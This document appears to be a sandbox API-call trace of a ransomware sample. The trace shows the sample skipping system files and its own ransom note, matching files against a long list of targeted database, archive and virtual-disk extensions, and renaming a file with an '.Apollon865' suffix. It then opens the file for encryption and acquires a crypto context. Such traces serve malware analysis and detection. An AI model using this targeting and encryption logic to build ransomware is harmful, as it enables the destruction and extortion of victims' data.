	[0067.921] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f57a430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f57a430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.921] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0067.921] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0067.921] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0067.921] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0067.921] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c0e500, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xd3c0e500, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xd3c0e500, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x165257, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0067.921] lstrcmpiW (lpString1="cab1.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0067.921] lstrcmpiW (lpString1="cab1.cab", lpString2="Apollon865.txt.exe") returned 1
	[0067.921] lstrcmpiW (lpString1="cab1.cab", lpString2=".") returned 1
	[0067.922] lstrcmpiW (lpString1="cab1.cab", lpString2="..") returned 1
	[0067.922] lstrcmpiW (lpString1="cab1.cab", lpString2="windows") returned -1
	[0067.922] lstrcmpiW (lpString1="cab1.cab", lpString2="bootmgr") returned 1
	[0067.922] lstrcmpiW (lpString1="cab1.cab", lpString2="temp") returned -1
	[0067.922] lstrcmpiW (lpString1="cab1.cab", lpString2="pagefile.sys") returned -1
	[0067.922] lstrcmpiW (lpString1="cab1.cab", lpString2="boot") returned 1
	[0067.922] lstrcmpiW (lpString1="cab1.cab", lpString2="ids.txt") returned -1
	[0067.922] lstrcmpiW (lpString1="cab1.cab", lpString2="ntuser.dat") returned -1
	[0067.922] lstrcmpiW (lpString1="cab1.cab", lpString2="perflogs") returned -1
	[0067.922] lstrcmpiW (lpString1="cab1.cab", lpString2="MSBuild") returned -1
	[0067.922] lstrlenW (lpString="cab1.cab") returned 8
	[0067.922] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*") returned 117
	[0067.922] lstrcpyW (in: lpString1=0x119e6f0, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0067.922] lstrlenW (lpString="cab1.cab") returned 8
	[0067.922] lstrlenW (lpString="Apollon865") returned 10
	[0067.922] lstrlenW (lpString=".dll") returned 4
	[0067.922] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0067.922] lstrlenW (lpString=".lnk") returned 4
	[0067.922] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0067.922] lstrlenW (lpString=".ini") returned 4
	[0067.922] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0067.922] lstrlenW (lpString=".sys") returned 4
	[0067.922] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0067.922] lstrlenW (lpString="cab1.cab") returned 8
	[0067.922] lstrlenW (lpString="bak") returned 3
	[0067.922] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1
	[0067.922] lstrlenW (lpString="ba_") returned 3
	[0067.922] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1
	[0067.922] lstrlenW (lpString="dbb") returned 3
	[0067.922] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1
	[0067.922] lstrlenW (lpString="vmdk") returned 4
	[0067.922] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1
	[0067.922] lstrlenW (lpString="rar") returned 3
	[0067.922] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1
	[0067.922] lstrlenW (lpString="zip") returned 3
	[0067.922] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1
	[0067.922] lstrlenW (lpString="tgz") returned 3
	[0067.923] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1
	[0067.923] lstrlenW (lpString="vbox") returned 4
	[0067.923] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1
	[0067.923] lstrlenW (lpString="vdi") returned 3
	[0067.923] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1
	[0067.923] lstrlenW (lpString="vhd") returned 3
	[0067.923] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1
	[0067.923] lstrlenW (lpString="vhdx") returned 4
	[0067.923] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1
	[0067.923] lstrlenW (lpString="avhd") returned 4
	[0067.923] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1
	[0067.923] lstrlenW (lpString="db") returned 2
	[0067.923] lstrcmpiW (lpString1="ab", lpString2="db") returned -1
	[0067.923] lstrlenW (lpString="db2") returned 3
	[0067.923] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1
	[0067.923] lstrlenW (lpString="db3") returned 3
	[0067.923] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1
	[0067.923] lstrlenW (lpString="dbf") returned 3
	[0067.923] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1
	[0067.923] lstrlenW (lpString="mdf") returned 3
	[0067.923] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1
	[0067.923] lstrlenW (lpString="mdb") returned 3
	[0067.923] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1
	[0067.923] lstrlenW (lpString="sql") returned 3
	[0067.923] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1
	[0067.923] lstrlenW (lpString="sqlite") returned 6
	[0067.923] lstrcmpiW (lpString1="b1.cab", lpString2="sqlite") returned -1
	[0067.923] lstrlenW (lpString="sqlite3") returned 7
	[0067.923] lstrcmpiW (lpString1="ab1.cab", lpString2="sqlite3") returned -1
	[0067.924] lstrlenW (lpString="sqlitedb") returned 8
	[0067.924] lstrlenW (lpString="xml") returned 3
	[0067.924] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1
	[0067.924] lstrlenW (lpString="$er") returned 3
	[0067.924] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1
	[0067.924] lstrlenW (lpString="4dd") returned 3
	[0067.924] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1
	[0067.924] lstrlenW (lpString="4dl") returned 3
	[0067.924] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1
	[0067.924] lstrlenW (lpString="^^^") returned 3
	[0067.924] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1
	[0067.924] lstrlenW (lpString="abs") returned 3
	[0067.924] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1
	[0067.924] lstrlenW (lpString="abx") returned 3
	[0067.924] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1
	[0067.924] lstrlenW (lpString="accdb") returned 5
	[0067.924] lstrcmpiW (lpString1="1.cab", lpString2="accdb") returned -1
	[0067.924] lstrlenW (lpString="accdc") returned 5
	[0067.924] lstrcmpiW (lpString1="1.cab", lpString2="accdc") returned -1
	[0067.924] lstrlenW (lpString="accde") returned 5
	[0067.924] lstrcmpiW (lpString1="1.cab", lpString2="accde") returned -1
	[0067.924] lstrlenW (lpString="accdr") returned 5
	[0067.924] lstrcmpiW (lpString1="1.cab", lpString2="accdr") returned -1
	[0067.924] lstrlenW (lpString="accdt") returned 5
	[0067.924] lstrcmpiW (lpString1="1.cab", lpString2="accdt") returned -1
	[0067.924] lstrlenW (lpString="accdw") returned 5
	[0067.924] lstrcmpiW (lpString1="1.cab", lpString2="accdw") returned -1
	[0067.924] lstrlenW (lpString="accft") returned 5
	[0067.924] lstrcmpiW (lpString1="1.cab", lpString2="accft") returned -1
	[0067.924] lstrlenW (lpString="adb") returned 3
	[0067.924] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0067.924] lstrlenW (lpString="adb") returned 3
	[0067.924] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0067.924] lstrlenW (lpString="ade") returned 3
	[0067.924] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1
	[0067.924] lstrlenW (lpString="adf") returned 3
	[0067.924] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1
	[0067.925] lstrlenW (lpString="adn") returned 3
	[0067.925] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1
	[0067.925] lstrlenW (lpString="adp") returned 3
	[0067.925] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1
	[0067.925] lstrlenW (lpString="alf") returned 3
	[0067.925] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1
	[0067.925] lstrlenW (lpString="ask") returned 3
	[0067.925] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1
	[0067.925] lstrlenW (lpString="btr") returned 3
	[0067.925] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1
	[0067.925] lstrlenW (lpString="cat") returned 3
	[0067.925] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1
	[0067.925] lstrlenW (lpString="cdb") returned 3
	[0067.925] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1
	[0067.925] lstrlenW (lpString="ckp") returned 3
	[0067.925] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1
	[0067.925] lstrlenW (lpString="cma") returned 3
	[0067.925] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1
	[0067.925] lstrlenW (lpString="cpd") returned 3
	[0067.925] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1
	[0067.925] lstrlenW (lpString="dacpac") returned 6
	[0067.925] lstrcmpiW (lpString1="b1.cab", lpString2="dacpac") returned -1
	[0067.925] lstrlenW (lpString="dad") returned 3
	[0067.925] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1
	[0067.925] lstrlenW (lpString="dadiagrams") returned 10
	[0067.925] lstrlenW (lpString="daschema") returned 8
	[0067.925] lstrlenW (lpString="db-journal") returned 10
	[0067.925] lstrlenW (lpString="db-shm") returned 6
	[0067.926] lstrcmpiW (lpString1="b1.cab", lpString2="db-shm") returned -1
	[0067.926] lstrlenW (lpString="db-wal") returned 6
	[0067.926] lstrcmpiW (lpString1="b1.cab", lpString2="db-wal") returned -1
	[0067.926] lstrlenW (lpString="dbc") returned 3
	[0067.926] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1
	[0067.926] lstrlenW (lpString="dbs") returned 3
	[0067.926] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1
	[0067.926] lstrlenW (lpString="dbt") returned 3
	[0067.926] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1
	[0067.926] lstrlenW (lpString="dbv") returned 3
	[0067.926] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1
	[0067.926] lstrlenW (lpString="dbx") returned 3
	[0067.926] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1
	[0067.926] lstrlenW (lpString="dcb") returned 3
	[0067.926] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1
	[0067.926] lstrlenW (lpString="dct") returned 3
	[0067.926] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1
	[0067.926] lstrlenW (lpString="dcx") returned 3
	[0067.926] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1
	[0067.926] lstrlenW (lpString="ddl") returned 3
	[0067.926] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1
	[0067.926] lstrlenW (lpString="dlis") returned 4
	[0067.926] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1
	[0067.926] lstrlenW (lpString="dp1") returned 3
	[0067.926] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1
	[0067.926] lstrlenW (lpString="dqy") returned 3
	[0067.926] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1
	[0067.926] lstrlenW (lpString="dsk") returned 3
	[0067.926] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1
	[0067.926] lstrlenW (lpString="dsn") returned 3
	[0067.926] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1
	[0067.926] lstrlenW (lpString="dtsx") returned 4
	[0067.926] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1
	[0067.926] lstrlenW (lpString="dxl") returned 3
	[0067.926] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1
	[0067.927] lstrlenW (lpString="eco") returned 3
	[0067.927] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1
	[0067.927] lstrlenW (lpString="ecx") returned 3
	[0067.927] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1
	[0067.927] lstrlenW (lpString="edb") returned 3
	[0067.927] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1
	[0067.927] lstrlenW (lpString="epim") returned 4
	[0067.927] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1
	[0067.927] lstrlenW (lpString="fcd") returned 3
	[0067.927] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1
	[0067.927] lstrlenW (lpString="fdb") returned 3
	[0067.927] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1
	[0067.927] lstrlenW (lpString="fic") returned 3
	[0067.927] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1
	[0067.927] lstrlenW (lpString="flexolibrary") returned 12
	[0067.927] lstrlenW (lpString="fm5") returned 3
	[0067.927] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1
	[0067.927] lstrlenW (lpString="fmp") returned 3
	[0067.927] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1
	[0067.927] lstrlenW (lpString="fmp12") returned 5
	[0067.927] lstrcmpiW (lpString1="1.cab", lpString2="fmp12") returned -1
	[0067.927] lstrlenW (lpString="fmpsl") returned 5
	[0067.927] lstrcmpiW (lpString1="1.cab", lpString2="fmpsl") returned -1
	[0067.927] lstrlenW (lpString="fol") returned 3
	[0067.927] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1
	[0067.927] lstrlenW (lpString="fp3") returned 3
	[0067.927] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1
	[0067.927] lstrlenW (lpString="fp4") returned 3
	[0067.927] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1
	[0067.927] lstrlenW (lpString="fp5") returned 3
	[0067.927] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1
	[0067.927] lstrlenW (lpString="fp7") returned 3
	[0067.927] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1
	[0067.927] lstrlenW (lpString="fpt") returned 3
	[0067.927] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1
	[0067.927] lstrlenW (lpString="frm") returned 3
	[0067.928] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1
	[0067.928] lstrlenW (lpString="gdb") returned 3
	[0067.928] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0067.928] lstrlenW (lpString="gdb") returned 3
	[0067.928] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0067.928] lstrlenW (lpString="grdb") returned 4
	[0067.928] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1
	[0067.928] lstrlenW (lpString="gwi") returned 3
	[0067.928] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1
	[0067.928] lstrlenW (lpString="hdb") returned 3
	[0067.928] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1
	[0067.928] lstrlenW (lpString="his") returned 3
	[0067.928] lstrcmpiW (lpString1="cab", lpString2="his") returned -1
	[0067.928] lstrlenW (lpString="ib") returned 2
	[0067.928] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1
	[0067.928] lstrlenW (lpString="idb") returned 3
	[0067.928] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1
	[0067.928] lstrlenW (lpString="ihx") returned 3
	[0067.928] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1
	[0067.928] lstrlenW (lpString="itdb") returned 4
	[0067.928] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1
	[0067.928] lstrlenW (lpString="itw") returned 3
	[0067.928] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1
	[0067.928] lstrlenW (lpString="jet") returned 3
	[0067.928] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1
	[0067.928] lstrlenW (lpString="jtx") returned 3
	[0067.928] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1
	[0067.928] lstrlenW (lpString="kdb") returned 3
	[0067.928] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1
	[0067.928] lstrlenW (lpString="kexi") returned 4
	[0067.928] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1
	[0067.928] lstrlenW (lpString="kexic") returned 5
	[0067.928] lstrcmpiW (lpString1="1.cab", lpString2="kexic") returned -1
	[0067.928] lstrlenW (lpString="kexis") returned 5
	[0067.928] lstrcmpiW (lpString1="1.cab", lpString2="kexis") returned -1
	[0067.928] lstrlenW (lpString="lgc") returned 3
	[0067.929] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1
	[0067.929] lstrlenW (lpString="lwx") returned 3
	[0067.929] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1
	[0067.929] lstrlenW (lpString="maf") returned 3
	[0067.929] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1
	[0067.929] lstrlenW (lpString="maq") returned 3
	[0067.929] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1
	[0067.929] lstrlenW (lpString="mar") returned 3
	[0067.929] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1
	[0067.929] lstrlenW (lpString="marshal") returned 7
	[0067.929] lstrcmpiW (lpString1="ab1.cab", lpString2="marshal") returned -1
	[0067.929] lstrlenW (lpString="mas") returned 3
	[0067.929] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1
	[0067.929] lstrlenW (lpString="mav") returned 3
	[0067.929] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1
	[0067.929] lstrlenW (lpString="maw") returned 3
	[0067.929] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1
	[0067.929] lstrlenW (lpString="mdbhtml") returned 7
	[0067.929] lstrcmpiW (lpString1="ab1.cab", lpString2="mdbhtml") returned -1
	[0067.929] lstrlenW (lpString="mdn") returned 3
	[0067.929] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1
	[0067.929] lstrlenW (lpString="mdt") returned 3
	[0067.929] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1
	[0067.929] lstrlenW (lpString="mfd") returned 3
	[0067.929] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1
	[0067.929] lstrlenW (lpString="mpd") returned 3
	[0067.929] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1
	[0067.929] lstrlenW (lpString="mrg") returned 3
	[0067.929] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1
	[0067.929] lstrlenW (lpString="mud") returned 3
	[0067.929] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1
	[0067.929] lstrlenW (lpString="mwb") returned 3
	[0067.929] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1
	[0067.929] lstrlenW (lpString="myd") returned 3
	[0067.929] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1
	[0067.929] lstrlenW (lpString="ndf") returned 3
	[0067.930] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1
	[0067.930] lstrlenW (lpString="nnt") returned 3
	[0067.930] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1
	[0067.930] lstrlenW (lpString="nrmlib") returned 6
	[0067.930] lstrcmpiW (lpString1="b1.cab", lpString2="nrmlib") returned -1
	[0067.930] lstrlenW (lpString="ns2") returned 3
	[0067.930] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1
	[0067.930] lstrlenW (lpString="ns3") returned 3
	[0067.930] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1
	[0067.930] lstrlenW (lpString="ns4") returned 3
	[0067.930] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1
	[0067.930] lstrlenW (lpString="nsf") returned 3
	[0067.930] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1
	[0067.930] lstrlenW (lpString="nv") returned 2
	[0067.930] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1
	[0067.930] lstrlenW (lpString="nv2") returned 3
	[0067.930] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1
	[0067.930] lstrlenW (lpString="nwdb") returned 4
	[0067.930] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1
	[0067.930] lstrlenW (lpString="nyf") returned 3
	[0067.930] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1
	[0067.930] lstrlenW (lpString="odb") returned 3
	[0067.930] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0067.930] lstrlenW (lpString="odb") returned 3
	[0067.930] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0067.930] lstrlenW (lpString="oqy") returned 3
	[0067.930] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1
	[0067.930] lstrlenW (lpString="ora") returned 3
	[0067.930] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1
	[0067.930] lstrlenW (lpString="orx") returned 3
	[0067.930] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1
	[0067.930] lstrlenW (lpString="owc") returned 3
	[0067.930] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1
	[0067.930] lstrlenW (lpString="p96") returned 3
	[0067.930] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1
	[0067.931] lstrlenW (lpString="p97") returned 3
	[0067.931] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1
	[0067.931] lstrlenW (lpString="pan") returned 3
	[0067.931] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1
	[0067.931] lstrlenW (lpString="pdb") returned 3
	[0067.931] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1
	[0067.931] lstrlenW (lpString="pdm") returned 3
	[0067.931] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1
	[0067.931] lstrlenW (lpString="pnz") returned 3
	[0067.931] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1
	[0067.931] lstrlenW (lpString="qry") returned 3
	[0067.931] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1
	[0067.931] lstrlenW (lpString="qvd") returned 3
	[0067.931] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1
	[0067.931] lstrlenW (lpString="rbf") returned 3
	[0067.931] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1
	[0067.931] lstrlenW (lpString="rctd") returned 4
	[0067.931] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1
	[0067.931] lstrlenW (lpString="rod") returned 3
	[0067.931] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1
	[0067.931] lstrlenW (lpString="rodx") returned 4
	[0067.931] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1
	[0067.931] lstrlenW (lpString="rpd") returned 3
	[0067.931] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1
	[0067.931] lstrlenW (lpString="rsd") returned 3
	[0067.931] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1
	[0067.931] lstrlenW (lpString="sas7bdat") returned 8
	[0067.931] lstrlenW (lpString="sbf") returned 3
	[0067.931] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1
	[0067.931] lstrlenW (lpString="scx") returned 3
	[0067.931] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1
	[0067.931] lstrlenW (lpString="sdb") returned 3
	[0067.931] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1
	[0067.931] lstrlenW (lpString="sdc") returned 3
	[0067.931] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1
	[0067.931] lstrlenW (lpString="sdf") returned 3
	[0067.931] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1
	[0067.932] lstrlenW (lpString="sis") returned 3
	[0067.932] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1
	[0067.932] lstrlenW (lpString="spq") returned 3
	[0067.932] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1
	[0067.932] lstrlenW (lpString="te") returned 2
	[0067.932] lstrcmpiW (lpString1="ab", lpString2="te") returned -1
	[0067.932] lstrlenW (lpString="teacher") returned 7
	[0067.932] lstrcmpiW (lpString1="ab1.cab", lpString2="teacher") returned -1
	[0067.932] lstrlenW (lpString="tmd") returned 3
	[0067.932] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1
	[0067.932] lstrlenW (lpString="tps") returned 3
	[0067.932] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1
	[0067.932] lstrlenW (lpString="trc") returned 3
	[0067.932] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0067.932] lstrlenW (lpString="trc") returned 3
	[0067.932] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0067.932] lstrlenW (lpString="trm") returned 3
	[0067.932] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1
	[0067.932] lstrlenW (lpString="udb") returned 3
	[0067.932] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1
	[0067.932] lstrlenW (lpString="udl") returned 3
	[0067.932] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1
	[0067.932] lstrlenW (lpString="usr") returned 3
	[0067.932] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1
	[0067.932] lstrlenW (lpString="v12") returned 3
	[0067.932] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1
	[0067.932] lstrlenW (lpString="vis") returned 3
	[0067.932] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1
	[0067.932] lstrlenW (lpString="vpd") returned 3
	[0067.932] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1
	[0067.932] lstrlenW (lpString="vvv") returned 3
	[0067.932] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1
	[0067.932] lstrlenW (lpString="wdb") returned 3
	[0067.932] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1
	[0067.932] lstrlenW (lpString="wmdb") returned 4
	[0067.932] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1
	[0067.933] lstrlenW (lpString="wrk") returned 3
	[0067.933] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1
	[0067.933] lstrlenW (lpString="xdb") returned 3
	[0067.933] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1
	[0067.933] lstrlenW (lpString="xld") returned 3
	[0067.933] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1
	[0067.933] lstrlenW (lpString="xmlff") returned 5
	[0067.933] lstrcmpiW (lpString1="1.cab", lpString2="xmlff") returned -1
	[0067.933] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.Apollon865") returned 135
	[0067.933] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab.apollon865"), dwFlags=0x1) returned 1
	[0067.934] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0067.935] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=1462871) returned 1
	[0067.935] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0067.937] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.937] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0067.938] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
